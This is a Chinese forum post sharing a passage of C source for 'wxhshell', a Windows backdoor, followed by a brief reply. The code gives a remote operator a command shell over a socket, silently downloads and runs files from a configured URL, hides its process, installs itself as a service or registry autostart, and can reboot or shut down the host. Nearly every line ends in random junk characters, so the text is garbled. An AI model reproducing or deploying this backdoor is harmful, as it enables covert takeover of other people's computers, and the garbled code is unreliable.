  if(strstr(cmd,"http://")) { 0\$Lnwp_  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); %ULd_ES^  
  if(DownloadFile(cmd,wsh)) "J >, Hr9  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); JLyFk V/  
  else 84Hm PPt  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WFeaX7\b  
  } Pt;\]?LVrD  
  else { a~tBgy+9  
g=v[@{9Pw  
    switch(cmd[0]) { E\}Q9, Z$  
  C$c.(5/O  
  // 帮助 5o(=?dXm4  
  case '?': { 78b9Sdi&  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); =(k0^ #++G  
    break; hU2 N{Ac  
  } e8]mdU{)  
  // 安装 H~*[v"  
  case 'i': { KRcg  
    if(Install()) f;ycQc@f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QPF[D7\  
    else |4Q><6"G  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ',RR*{I  
    break; K&Q0]r?  
    } v:j4#pEWD  
  // 卸载 wIbc8ze  
  case 'r': { C$B?|oUJc  
    if(Uninstall()) ,%m$_wA$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gD fVY%[Z  
    else pm;g)p?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9Bmgz =8  
    break; JeCEj=_Z  
    } L/cbq*L  
  // 显示 wxhshell 所在路径 %^ E>~  
  case 'p': { Fn%:0j  
    char svExeFile[MAX_PATH]; Md m(xUs  
    strcpy(svExeFile,"\n\r");  })w5`?Y  
      strcat(svExeFile,ExeFile); .~8IW,[  
        send(wsh,svExeFile,strlen(svExeFile),0); t! Av [K  
    break; Vk~}^;`Y  
    } G}~b  
  // 重启  *JOv  
  case 'b': { q`;URkjk  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `}Hnj*  
    if(Boot(REBOOT)) 1$2Rs-J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mKq9mA"(E  
    else { `Op ";E88  
    closesocket(wsh); 7,LT4wYH  
    ExitThread(0); }#u}{  
    } @49^WY  
    break; 9k"nx ,"  
    } #wm)e)2@  
  // 关机 \J\1i=a-=  
  case 'd': { CblL1q8  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |s`q+ U-  
    if(Boot(SHUTDOWN)) m :^,qC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G6Fg<g9:  
    else { 86} rz  
    closesocket(wsh); +l3 vIN  
    ExitThread(0); QU4'x4YS  
    } #6m//0 u  
    break; s^v,i CH {  
    } "|&*MjwN6  
  // 获取shell B'0Il"g'  
  case 's': { ,>jm|BTD {  
    CmdShell(wsh); -s!PO;qm  
    closesocket(wsh); $fvUb_n  
    ExitThread(0); pcl _$2_  
    break; YGn:_9  
  } 02S(9^=  
  // 退出 2Uk8{d  
  case 'x': { <*5D0q#~"  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); E0h!%/+-L  
    CloseIt(wsh); kI;^V  
    break; 9_/1TjrDN  
    } U&a]gkr  
  // 离开 |)_<JAN  
  case 'q': { T<=\5mn  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); jKQP0 t-  
    closesocket(wsh); :{6[U=O  
    WSACleanup(); nW%c95E  
    exit(1); +1623E  
    break; &]c9}Ic  
        } dCyQCA[  
  } wb9zJAsc  
  } }w@nZG ^&  
(6+0U1[Iz  
  // 提示信息 Ek. j@79  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5astv:p,P  
} t-Fl"@s  
  } <z4!m/f [(  
*ZEs5`x  
  return; pV+;/y_  
} Yb\36|  
\5l}5<|  
// shell模块句柄 TPzoU" qh  
int CmdShell(SOCKET sock) /kq~*s  
{ ?d%}K76V<  
STARTUPINFO si; ixkg,  
ZeroMemory(&si,sizeof(si)); 5~? J  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; abv]  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; cS[`1y,\3  
PROCESS_INFORMATION ProcessInfo; 0nuFWV  
char cmdline[]="cmd"; pVY.&XBZ$  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5VcYdu3  
  return 0; ']NM_0  
} ouI0"R&@  
M;bQid@BG  
// 自身启动模式 S{H8}m|MW  
int StartFromService(void) m ;vNA  
{ 5f5`7uVJF  
typedef struct yiUdUw/  
{ uQNoIy J)  
  DWORD ExitStatus; dA~6{*)  
  DWORD PebBaseAddress;  h 2zCX  
  DWORD AffinityMask; sOW|TN>y\  
  DWORD BasePriority; q.t5L=l^ r  
  ULONG UniqueProcessId; mB~&nDU  
  ULONG InheritedFromUniqueProcessId; 6bn-NY:i  
}   PROCESS_BASIC_INFORMATION; b +_E)4  
}1P  
PROCNTQSIP NtQueryInformationProcess; J5"*OH:f  
*$1)&2i  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; EKf4f^<  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; k4P.}SJ?  
57}q'84  
  HANDLE             hProcess; 1,J.  
  PROCESS_BASIC_INFORMATION pbi; 1XKk~G"D  
$b$D[4  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }R x%&29&  
  if(NULL == hInst ) return 0; 9+']`=a:  
z=U!D `]v  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); fYi!Z/Ck2  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )qIK7;  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); H6eGLg={  
#Grm-W9E  
  if (!NtQueryInformationProcess) return 0; L5W>in5(  
$9~1s/('  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); XTJ>y@  
  if(!hProcess) return 0; vX\e* v  
m @%|Q;  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; wMoAvA_oS  
@!da1jN  
  CloseHandle(hProcess); +*q@=P,  
/~[R u  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %ab79RS]C  
if(hProcess==NULL) return 0; jo*9QO  
5dk,!Cjg  
HMODULE hMod; YovY0nO  
char procName[255]; aBnbu vp  
unsigned long cbNeeded; ccSSa u5N  
v#FUD-Z  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); G;;~xfE'  
96avgyc  
  CloseHandle(hProcess); :6+~"7T  
u"jnEKN0y  
if(strstr(procName,"services")) return 1; // 以服务启动 qu%s 7+  
/ ["T#`  
  return 0; // 注册表启动 2cg z n@  
} ,Mc 2dhq  
Ul Iw&U  
// 主模块 EoeEg,'~F  
int StartWxhshell(LPSTR lpCmdLine) EiUV?Gvz  
{ `N|CL  
  SOCKET wsl; `^kST><  
BOOL val=TRUE; cw.7YiU  
  int port=0; (% P=#vZ  
  struct sockaddr_in door; s|T7)PgR  
F{ ,O+\  
  if(wscfg.ws_autoins) Install(); 08a|]li  
[Bo$?  
port=atoi(lpCmdLine); ihrrmlN?  
B(LV22#  
if(port<=0) port=wscfg.ws_port; val<N293L>  
(T01hR&  
  WSADATA data; j+hoj2(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; b*KZe[#M1  
 $wTX  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   b3lpNJ J  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); KoJG! Rm  
  door.sin_family = AF_INET; r `dU (T!  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ex458^N_  
  door.sin_port = htons(port); ]o$/xP  
rUjr'O0  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {  /GUuu  
closesocket(wsl); "S:N- Tf%U  
return 1; 8A.7=C' z  
} }HorR2(`N  
#+0 R!Y  
  if(listen(wsl,2) == INVALID_SOCKET) { F.D1;,x  
closesocket(wsl); c^IEj1@}'?  
return 1; ud D[hPJd  
} 59J9V3na  
  Wxhshell(wsl); UAZ&*{MM^  
  WSACleanup(); hJsC \C,^  
/g''-yT7#  
return 0; ASw |sw  
V bOLTc  
} 9AzGk=^  
,r;d{  
// 以NT服务方式启动 ]H~,K]@.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) dy?|Q33Y"  
{ XH$|DeAFM  
DWORD   status = 0; q&T'x> /  
  DWORD   specificError = 0xfffffff; f*}E\,V"&  
5Suc#0y  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ot#kU 8f  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 79g>7<vp  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 0f/!|c  
  serviceStatus.dwWin32ExitCode     = 0; {PtTPz  
  serviceStatus.dwServiceSpecificExitCode = 0; 8{ %9%{  
  serviceStatus.dwCheckPoint       = 0; Ky$G$H  
  serviceStatus.dwWaitHint       = 0; d/rz0L  
@!3^/D3  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6 JYOe  
  if (hServiceStatusHandle==0) return; '/g+;^_cB  
zq r%7U  
status = GetLastError(); Cpv%s 1M  
  if (status!=NO_ERROR) bGc|SF<V  
{ }tO<_f))  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; PM!t"[@&  
    serviceStatus.dwCheckPoint       = 0; yuDd% 1k  
    serviceStatus.dwWaitHint       = 0; q.Z#7~6`3  
    serviceStatus.dwWin32ExitCode     = status; v=1S  
    serviceStatus.dwServiceSpecificExitCode = specificError; AiK4t-  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); BrMp_M  
    return; #-j! ;?  
  } .MARF  
_4B iF?1  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ^) ^|;C\`  
  serviceStatus.dwCheckPoint       = 0; W r7e_  
  serviceStatus.dwWaitHint       = 0; _kX/LR"L+  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5XO'OSdYq  
} eAKQR  
q<[ke   
// 处理NT服务事件,比如:启动、停止 }IkEyJsk  
VOID WINAPI NTServiceHandler(DWORD fdwControl) .eB"la|d  
{ {eN{Zh5"  
switch(fdwControl) =2]rA  
{ 00a<(sS;  
case SERVICE_CONTROL_STOP: #'J7Wy  
  serviceStatus.dwWin32ExitCode = 0; L$c%u  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; f?^Oy!1]  
  serviceStatus.dwCheckPoint   = 0; 9~%]|_(  
  serviceStatus.dwWaitHint     = 0; PFgjWp"Y  
  { ]G~N+\8]U  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }SN44 di(  
  } =M{CZm  
  return; } %CbZ/7&  
case SERVICE_CONTROL_PAUSE: T-2p`b}h W  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; rRrW   
  break; %aE7id>v6  
case SERVICE_CONTROL_CONTINUE: (`.qG &6p  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ^1yTL5#:Vw  
  break; <&EO=A  
case SERVICE_CONTROL_INTERROGATE: 3nC#$L-   
  break; #r^@*<{^  
}; exEld  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); AnE_<sPA  
} \ +-hn  
=)1YYJTe9  
// 标准应用程序主函数 $o$Ev@mi  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) jsi#l  
{ P| P fG=  
Iki+5  
// 获取操作系统版本 ) a\DS yr  
OsIsNt=GetOsVer(); >c\v&k>6.  
GetModuleFileName(NULL,ExeFile,MAX_PATH); )F#<)Evw  
~EWfEHf*BJ  
  // 从命令行安装 t,1!`/\  
  if(strpbrk(lpCmdLine,"iI")) Install(); 5QFXj)hR+4  
1o~U+s_r  
  // 下载执行文件 LO}:Ub  
if(wscfg.ws_downexe) { '[yqi1 &  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) cU5"c)$'  
  WinExec(wscfg.ws_filenam,SW_HIDE); 2T(,H.O  
} hB$Y4~T%  
m/c&/6nk  
if(!OsIsNt) { %OTA5  
// 如果时win9x,隐藏进程并且设置为注册表启动 'Kzr-)JS  
HideProc(); SAE '?_  
StartWxhshell(lpCmdLine); cvXI]+`<3\  
} Pzm!`F^r}  
else K9O,7h:x  
  if(StartFromService()) $aPHl  
  // 以服务方式启动 [g h[F  
  StartServiceCtrlDispatcher(DispatchTable); Xt,,AGm}  
else KkL:p?@n  
  // 普通方式启动 iraRB~  
  StartWxhshell(lpCmdLine); -=t3O#  
rE{Xo:Cf  
return 0; xAd>",=~  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
10+5=?,请输入中文答案:十五